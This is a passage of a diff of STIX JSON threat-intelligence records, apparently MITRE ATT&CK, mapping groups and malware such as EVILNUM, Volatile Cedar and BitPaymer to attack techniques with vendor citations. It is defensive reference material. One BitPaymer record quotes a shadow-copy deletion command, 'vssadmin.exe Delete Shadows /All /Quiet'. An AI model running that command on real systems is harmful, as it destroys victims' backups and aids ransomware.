"description": "Adamitis, D. (2020, May 6). Phantom in the Command Shell. Retrieved January 28, 2021." + } + ], + "description": "[EVILNUM](https://attack.mitre.org/software/S0568) can upload files over the C2 channel from the infected host.(Citation: Prevailion EvilNum May 2020) ", + "relationship_type": "uses", + "id": "relationship--8167df91-ca5b-4a65-b94e-a40e6d54ad40", + "type": "relationship", + "modified": "2021-02-03T19:05:17.852Z", + "created": "2021-02-03T19:05:17.852Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--7cdfccda-2950-4167-981a-60872ff5d0db", + "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5", + "external_references": [ + { + "source_name": "Prevailion EvilNum May 2020", + "url": "https://blog.prevailion.com/2020/05/phantom-in-command-shell5.html", + "description": "Adamitis, D. (2020, May 6). Phantom in the Command Shell. Retrieved January 28, 2021." + } + ], + "description": "[EVILNUM](https://attack.mitre.org/software/S0568) can execute commands and scripts through rundll32.(Citation: Prevailion EvilNum May 2020) ", + "relationship_type": "uses", + "id": "relationship--c18efb6c-f31d-43b8-8ddb-5d6ffce64018", + "type": "relationship", + "modified": "2021-02-03T19:05:17.866Z", + "created": "2021-02-03T19:05:17.866Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--7cdfccda-2950-4167-981a-60872ff5d0db", + "target_ref": "attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff", + "external_references": [ + { + "source_name": "Prevailion EvilNum May 2020", + "url": "https://blog.prevailion.com/2020/05/phantom-in-command-shell5.html", + "description": "Adamitis, D. (2020, May 6). Phantom in the Command Shell. Retrieved January 28, 2021." + } + ], + "description": "[EVILNUM](https://attack.mitre.org/software/S0568) can harvest cookies and upload them to the C2 server.(Citation: Prevailion EvilNum May 2020)", + "relationship_type": "uses", + "id": "relationship--8785b9f9-52dd-4bf5-8e88-b80c4c28dc7f", + "type": "relationship", + "modified": "2021-02-03T19:05:17.898Z", + "created": "2021-02-03T19:05:17.898Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--7cdfccda-2950-4167-981a-60872ff5d0db", + "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384", + "external_references": [ + { + "source_name": "Prevailion EvilNum May 2020", + "url": "https://blog.prevailion.com/2020/05/phantom-in-command-shell5.html", + "description": "Adamitis, D. (2020, May 6). Phantom in the Command Shell. Retrieved January 28, 2021." + } + ], + "description": "[EVILNUM](https://attack.mitre.org/software/S0568) can search for anti-virus products on the system.(Citation: Prevailion EvilNum May 2020)", + "relationship_type": "uses", + "id": "relationship--ce853f8b-4aab-4404-a8d0-d9d024f1eda6", + "type": "relationship", + "modified": "2021-02-03T19:05:17.901Z", + "created": "2021-02-03T19:05:17.901Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--1f0f9a14-11aa-49aa-9174-bcd0eaa979de", + "target_ref": "malware--7cdfccda-2950-4167-981a-60872ff5d0db", + "external_references": [ + { + "source_name": "Prevailion EvilNum May 2020", + "url": "https://blog.prevailion.com/2020/05/phantom-in-command-shell5.html", + "description": "Adamitis, D. (2020, May 6). Phantom in the Command Shell. Retrieved January 28, 2021." + } + ], + "description": "(Citation: Prevailion EvilNum May 2020)", + "relationship_type": "uses", + "id": "relationship--81cf0260-877d-47ba-b98d-5d2cea453cdf", + "type": "relationship", + "modified": "2021-02-03T19:12:30.480Z", + "created": "2021-02-03T19:12:30.480Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--90784c1e-4aba-40eb-9adf-7556235e6384", + "target_ref": "attack-pattern--19401639-28d0-4c3c-adcc-bc2ba22f6421", + "external_references": [ + { + "source_name": "Phish Labs Silent Librarian", + "url": "https://info.phishlabs.com/blog/silent-librarian-more-to-the-story-of-the-iranian-mabna-institute-indictment", + "description": "Hassold, Crane. (2018, March 26). Silent Librarian: More to the Story of the Iranian Mabna Institute Indictment. Retrieved February 3, 2021." + }, + { + "source_name": "Secureworks COBALT DICKENS September 2019", + "url": "https://www.secureworks.com/blog/cobalt-dickens-goes-back-to-school-again", + "description": "Counter Threat Unit Research Team. (2019, September 11). COBALT DICKENS Goes Back to School\u2026Again. Retrieved February 3, 2021." + } + ], + "description": "[Silent Librarian](https://attack.mitre.org/groups/G0122) has obtained free Let's Encrypt SSL certificates for use on their phishing pages.(Citation: Phish Labs Silent Librarian)(Citation: Secureworks COBALT DICKENS September 2019)", + "relationship_type": "uses", + "id": "relationship--1a2119a2-6a39-4062-b90c-bffd15b259ec", + "type": "relationship", + "modified": "2021-02-04T14:43:12.963Z", + "created": "2021-02-04T14:12:26.131Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--90784c1e-4aba-40eb-9adf-7556235e6384", + "target_ref": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0", + "external_references": [ + { + "source_name": "Proofpoint TA407 September 2019", + "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian", + "description": "Proofpoint Threat Insight Team. (2019, September 5). Threat Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021." + }, + { + "source_name": "Secureworks COBALT DICKENS September 2019", + "url": "https://www.secureworks.com/blog/cobalt-dickens-goes-back-to-school-again", + "description": "Counter Threat Unit Research Team. (2019, September 11). COBALT DICKENS Goes Back to School\u2026Again. Retrieved February 3, 2021." + } + ], + "description": "[Silent Librarian](https://attack.mitre.org/groups/G0122) has obtained free and publicly available tools including SingleFile and HTTrack to copy login pages of targeted organizations.(Citation: Proofpoint TA407 September 2019)(Citation: Secureworks COBALT DICKENS September 2019)", + "relationship_type": "uses", + "id": "relationship--d970ba14-4c96-4f98-a1e1-4417f52b76f3", + "type": "relationship", + "modified": "2021-04-21T02:25:51.099Z", + "created": "2021-02-04T14:30:37.973Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--b2e34388-6938-4c59-a702-80dc219e15e3", + "target_ref": "attack-pattern--5502c4e9-24ef-4d5f-8ee9-9e906c2f82c4", + "external_references": [ + { + "source_name": "CheckPoint Volatile Cedar March 2015", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf", + "description": "Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021." + }, + { + "source_name": "ClearSky Lebanese Cedar Jan 2021", + "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf", + "description": "ClearSky Cyber Security. (2021, January). \u201cLebanese Cedar\u201d APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021." + } + ], + "description": "[Volatile Cedar](https://attack.mitre.org/groups/G0123) has performed vulnerability scans of the target server.(Citation: CheckPoint Volatile Cedar March 2015)(Citation: ClearSky Lebanese Cedar Jan 2021)", + "relationship_type": "uses", + "id": "relationship--1637c874-852e-4ab9-b6e0-2c855da74ef0", + "type": "relationship", + "modified": "2021-02-10T18:04:49.116Z", + "created": "2021-02-08T20:30:30.984Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--b2e34388-6938-4c59-a702-80dc219e15e3", + "target_ref": "attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb", + "external_references": [ + { + "source_name": "CheckPoint Volatile Cedar March 2015", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf", + "description": "Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021." + }, + { + "source_name": "ClearSky Lebanese Cedar Jan 2021", + "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf", + "description": "ClearSky Cyber Security. (2021, January). \u201cLebanese Cedar\u201d APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021." + } + ], + "description": "[Volatile Cedar](https://attack.mitre.org/groups/G0123) can inject web shell code into a server.(Citation: CheckPoint Volatile Cedar March 2015)(Citation: ClearSky Lebanese Cedar Jan 2021) ", + "relationship_type": "uses", + "id": "relationship--60b2c702-e2f4-47fd-a009-3ba561bceeb8", + "type": "relationship", + "modified": "2021-02-10T18:04:49.130Z", + "created": "2021-02-08T21:24:53.101Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--b2e34388-6938-4c59-a702-80dc219e15e3", + "target_ref": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c", + "external_references": [ + { + "source_name": "CheckPoint Volatile Cedar March 2015", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf", + "description": "Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021." + }, + { + "source_name": "ClearSky Lebanese Cedar Jan 2021", + "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf", + "description": "ClearSky Cyber Security. (2021, January). \u201cLebanese Cedar\u201d APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021." + } + ], + "description": "[Volatile Cedar](https://attack.mitre.org/groups/G0123) has targeted publicly facing web servers, with both automatic and manual vulnerability discovery.(Citation: CheckPoint Volatile Cedar March 2015) (Citation: ClearSky Lebanese Cedar Jan 2021) ", + "relationship_type": "uses", + "id": "relationship--c4bc8f71-e4f4-42b8-a39f-b4512987a423", + "type": "relationship", + "modified": "2021-02-10T18:04:49.164Z", + "created": "2021-02-08T21:24:53.117Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--6a21e3a4-5ffe-4581-af9a-6a54c7536f44", + "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", + "external_references": [ + { + "source_name": "CheckPoint Volatile Cedar March 2015", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf", + "description": "Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021." + }, + { + "source_name": "ClearSky Lebanese Cedar Jan 2021", + "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf", + "description": "ClearSky Cyber Security. (2021, January). \u201cLebanese Cedar\u201d APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021." + } + ], + "description": "[Explosive](https://attack.mitre.org/software/S0569) has leveraged its keylogging capabilities to gain access to administrator accounts on target servers.(Citation: CheckPoint Volatile Cedar March 2015)(Citation: ClearSky Lebanese Cedar Jan 2021) ", + "relationship_type": "uses", + "id": "relationship--56694ef7-3ce3-4d8a-914b-71a201dc5921", + "type": "relationship", + "modified": "2021-02-10T18:12:09.867Z", + "created": "2021-02-08T21:41:25.791Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--6a21e3a4-5ffe-4581-af9a-6a54c7536f44", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "external_references": [ + { + "source_name": "CheckPoint Volatile Cedar March 2015", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf", + "description": "Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021." + } + ], + "description": "[Explosive](https://attack.mitre.org/software/S0569) has a function to download a file to the infected system.(Citation: CheckPoint Volatile Cedar March 2015) ", + "relationship_type": "uses", + "id": "relationship--a4e88205-c591-4bad-9daa-0bf8f6049c57", + "type": "relationship", + "modified": "2021-02-08T21:41:25.802Z", + "created": "2021-02-08T21:41:25.802Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--6a21e3a4-5ffe-4581-af9a-6a54c7536f44", + "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f", + "external_references": [ + { + "source_name": "CheckPoint Volatile Cedar March 2015", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf", + "description": "Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021." + } + ], + "description": "[Explosive](https://attack.mitre.org/software/S0569) has a function to use the OpenClipboard wrapper.(Citation: CheckPoint Volatile Cedar March 2015) ", + "relationship_type": "uses", + "id": "relationship--b2553142-9377-42b3-9fd6-50fcbd4263b3", + "type": "relationship", + "modified": "2021-02-08T21:41:25.806Z", + "created": "2021-02-08T21:41:25.806Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--6a21e3a4-5ffe-4581-af9a-6a54c7536f44", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "external_references": [ + { + "source_name": "CheckPoint Volatile Cedar March 2015", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf", + "description": "Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021." + } + ], + "description": "[Explosive](https://attack.mitre.org/software/S0569) has a function to write itself to Registry values.(Citation: CheckPoint Volatile Cedar March 2015) ", + "relationship_type": "uses", + "id": "relationship--178116a9-6ac9-45c0-bc74-36fe9ba12686", + "type": "relationship", + "modified": "2021-02-08T21:41:25.818Z", + "created": "2021-02-08T21:41:25.818Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--b2e34388-6938-4c59-a702-80dc219e15e3", + "target_ref": "malware--6a21e3a4-5ffe-4581-af9a-6a54c7536f44", + "external_references": [ + { + "source_name": "CheckPoint Volatile Cedar March 2015", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf", + "description": "Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021." + }, + { + "source_name": "ClearSky Lebanese Cedar Jan 2021", + "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf", + "description": "ClearSky Cyber Security. (2021, January). \u201cLebanese Cedar\u201d APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021." + } + ], + "description": "(Citation: CheckPoint Volatile Cedar March 2015)(Citation: ClearSky Lebanese Cedar Jan 2021)", + "relationship_type": "uses", + "id": "relationship--72ff8ebb-a0fe-4ea0-9e4a-0f9aa2d48bc5", + "type": "relationship", + "modified": "2021-02-10T17:55:01.910Z", + "created": "2021-02-08T21:46:51.456Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07", + "target_ref": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0", + "external_references": [ + { + "source_name": "Crowdstrike Indrik November 2018", + "url": "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/", + "description": "Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021." + } + ], + "description": "[Indrik Spider](https://attack.mitre.org/groups/G0119) has encrypted domain-controlled systems using [BitPaymer](https://attack.mitre.org/software/S0570).(Citation: Crowdstrike Indrik November 2018)", + "relationship_type": "uses", + "id": "relationship--a5ee5826-e742-4847-9816-d9124827262a", + "type": "relationship", + "modified": "2021-03-05T18:13:06.831Z", + "created": "2021-02-08T21:58:15.830Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07", + "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", + "external_references": [ + { + "source_name": "Crowdstrike Indrik November 2018", + "url": "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/", + "description": "Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021." + } + ], + "description": "[Indrik Spider](https://attack.mitre.org/groups/G0119) used fake updates for FlashPlayer plugin and Google Chrome as initial infection vectors.(Citation: Crowdstrike Indrik November 2018)", + "relationship_type": "uses", + "id": "relationship--2f33e27a-6fdf-4121-9e25-a307910b118f", + "type": "relationship", + "modified": "2021-02-08T22:05:36.561Z", + "created": "2021-02-08T22:05:36.561Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07", + "target_ref": "attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f", + "external_references": [ + { + "source_name": "Crowdstrike Indrik November 2018", + "url": "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/", + "description": "Frankoff, S., Hartley, B. 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Retrieved January 6, 2021." + } + ], + "description": "[Indrik Spider](https://attack.mitre.org/groups/G0119) has collected credentials from infected systems, including domain accounts.(Citation: Crowdstrike Indrik November 2018)", + "relationship_type": "uses", + "id": "relationship--739217f2-c273-4005-8175-1261a81a1224", + "type": "relationship", + "modified": "2021-02-08T22:05:36.567Z", + "created": "2021-02-08T22:05:36.567Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "external_references": [ + { + "source_name": "Crowdstrike Indrik November 2018", + "url": "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/", + "description": "Frankoff, S., Hartley, B. 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Retrieved January 6, 2021." + } + ], + "description": "[Indrik Spider](https://attack.mitre.org/groups/G0119) has downloaded and installed the Dridex loader on compromised machines.(Citation: Crowdstrike Indrik November 2018)", + "relationship_type": "uses", + "id": "relationship--d9360852-584e-4980-9f9b-f56193bd3fc0", + "type": "relationship", + "modified": "2021-02-08T22:05:36.564Z", + "created": "2021-02-08T22:05:36.564Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--fa766a65-5136-4ff3-8429-36d08eaa0100", + "target_ref": "attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852", + "external_references": [ + { + "source_name": "Crowdstrike Indrik November 2018", + "url": "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/", + "description": "Frankoff, S., Hartley, B. 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Retrieved January 6, 2021." + } + ], + "description": "[BitPaymer](https://attack.mitre.org/software/S0570) compares file names and paths to a list of excluded names and directory names during encryption.(Citation: Crowdstrike Indrik November 2018)", + "relationship_type": "uses", + "id": "relationship--1cc1c2b0-5fb8-420e-8285-db4616a9fab2", + "type": "relationship", + "modified": "2021-02-08T23:18:31.759Z", + "created": "2021-02-08T23:18:31.759Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--fa766a65-5136-4ff3-8429-36d08eaa0100", + "target_ref": "attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", + "external_references": [ + { + "source_name": "Crowdstrike Indrik November 2018", + "url": "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/", + "description": "Frankoff, S., Hartley, B. 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Retrieved January 6, 2021." + } + ], + "description": "[BitPaymer](https://attack.mitre.org/software/S0570) attempts to remove the backup shadow files from the host using vssadmin.exe Delete Shadows /All /Quiet.(Citation: Crowdstrike Indrik November 2018)", + "relationship_type": "uses", + "id": "relationship--833e14f8-0f37-488a-a67c-3ff2fe524ac3", + "type": "relationship", + "modified": "2021-02-08T23:18:31.819Z", + "created": "2021-02-08T23:18:31.819Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--fa766a65-5136-4ff3-8429-36d08eaa0100", + "target_ref": "attack-pattern--86850eff-2729-40c3-b85e-c4af26da4a2d", + "external_references": [ + { + "source_name": "Crowdstrike Indrik November 2018", + "url": "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/", + "description": "Frankoff, S., Hartley, B. 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Retrieved January 6, 2021." + } + ], + "description": "[BitPaymer](https://attack.mitre.org/software/S0570) can use the tokens of users to create processes on infected systems.(Citation: Crowdstrike Indrik November 2018)", + "relationship_type": "uses", + "id": "relationship--6edd6f1b-3907-4013-b2e0-ceb03ccf427a", + "type": "relationship", + "modified": "2021-04-20T02:41:22.128Z", + "created": "2021-02-08T23:18:31.784Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--fa766a65-5136-4ff3-8429-36d08eaa0100", + "target_ref": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0", + "external_references": [ + { + "source_name": "Crowdstrike Indrik November 2018", + "url": "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/", + "description": "Frankoff, S., Hartley, B. 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Retrieved January 6, 2021." + } + ], + "description": "[BitPaymer](https://attack.mitre.org/software/S0570) can import a hard-coded RSA 1024-bit public key, generate a 128-bit RC4 key for each file, and encrypt the file in place, appending .locked to the filename.(Citation: Crowdstrike Indrik November 2018)", + "relationship_type": "uses", + "id": "relationship--4c8da471-3483-4f75-8e1a-952d2d05454d", + "type": "relationship", + "modified": "2021-02-08T23:18:31.813Z", + "created": "2021-02-08T23:18:31.813Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--fa766a65-5136-4ff3-8429-36d08eaa0100", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "external_references": [ + { + "source_name": "Crowdstrike Indrik November 2018", + "url": "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/", + "description": "Frankoff, S., Hartley, B. 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Retrieved January 6, 2021." + } + ], + "description": "[BitPaymer](https://attack.mitre.org/software/S0570) can use net view to discover remote systems.(Citation: Crowdstrike Indrik November 2018)", + "relationship_type": "uses", + "id": "relationship--0c8370b1-efd1-4e5d-86c9-d3ffba1bb22d", + "type": "relationship", + "modified": "2021-02-08T23:18:31.817Z", + "created": "2021-02-08T23:18:31.817Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--fa766a65-5136-4ff3-8429-36d08eaa0100", + "target_ref": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e", + "external_references": [ + { + "source_name": "Crowdstrike Indrik November 2018", + "url": "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/", + "description": "Frankoff, S., Hartley, B. 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Retrieved January 6, 2021." + } + ], + "description": "[BitPaymer](https://attack.mitre.org/software/S0570) can enumerate the sessions for each user logged onto the infected host.(Citation: Crowdstrike Indrik November 2018)", + "relationship_type": "uses", + "id": "relationship--d17ee0b3-4f2b-4d6f-ae10-7934d4e9126d", + "type": "relationship", + "modified": "2021-02-08T23:18:31.835Z", + "created": "2021-02-08T23:18:31.835Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--fa766a65-5136-4ff3-8429-36d08eaa0100", + "target_ref": "attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611", + "external_references": [ + { + "source_name": "Crowdstrike Indrik November 2018", + "url": "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/", + "description": "Frankoff, S., Hartley, B. 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Retrieved January 6, 2021." + } + ], + "description": "[BitPaymer](https://attack.mitre.org/software/S0570) can modify the timestamp of an executable so that it can be identified and restored by the decryption tool.(Citation: Crowdstrike Indrik November 2018)", + "relationship_type": "uses", + "id": "relationship--5793708d-b25a-4276-9b0b-697a8494e0f8", + "type": "relationship", + "modified": "2021-04-20T02:41:22.153Z", + "created": "2021-02-08T23:18:31.837Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--fa766a65-5136-4ff3-8429-36d08eaa0100", + "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", + "external_references": [ + { + "source_name": "Crowdstrike Indrik November 2018", + "url": "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/", + "description": "Frankoff, S., Hartley, B. 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Retrieved January 6, 2021." + } + ], + "description": "[BitPaymer](https://attack.mitre.org/software/S0570) can search for network shares on the domain or workgroup using net view .(Citation: Crowdstrike Indrik November 2018)", + "relationship_type": "uses", + "id": "relationship--6743c3f6-7f4f-40b3-bc9e-fe488f81f5e1", + "type": "relationship", + "modified": "2021-02-08T23:18:31.833Z", + "created": "2021-02-08T23:18:31.833Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--fa766a65-5136-4ff3-8429-36d08eaa0100", + "target_ref": "attack-pattern--f2857333-11d4-45bf-b064-2c28d8525be5", + "external_references": [ + { + "source_name": "Crowdstrike Indrik November 2018", + "url": "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/", + "description": "Frankoff, S., Hartley, B. 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Retrieved January 6, 2021." + } + ], + "description": "[BitPaymer](https://attack.mitre.org/software/S0570) has copied itself to the :bin alternate data stream of a newly created file.(Citation: Crowdstrike Indrik November 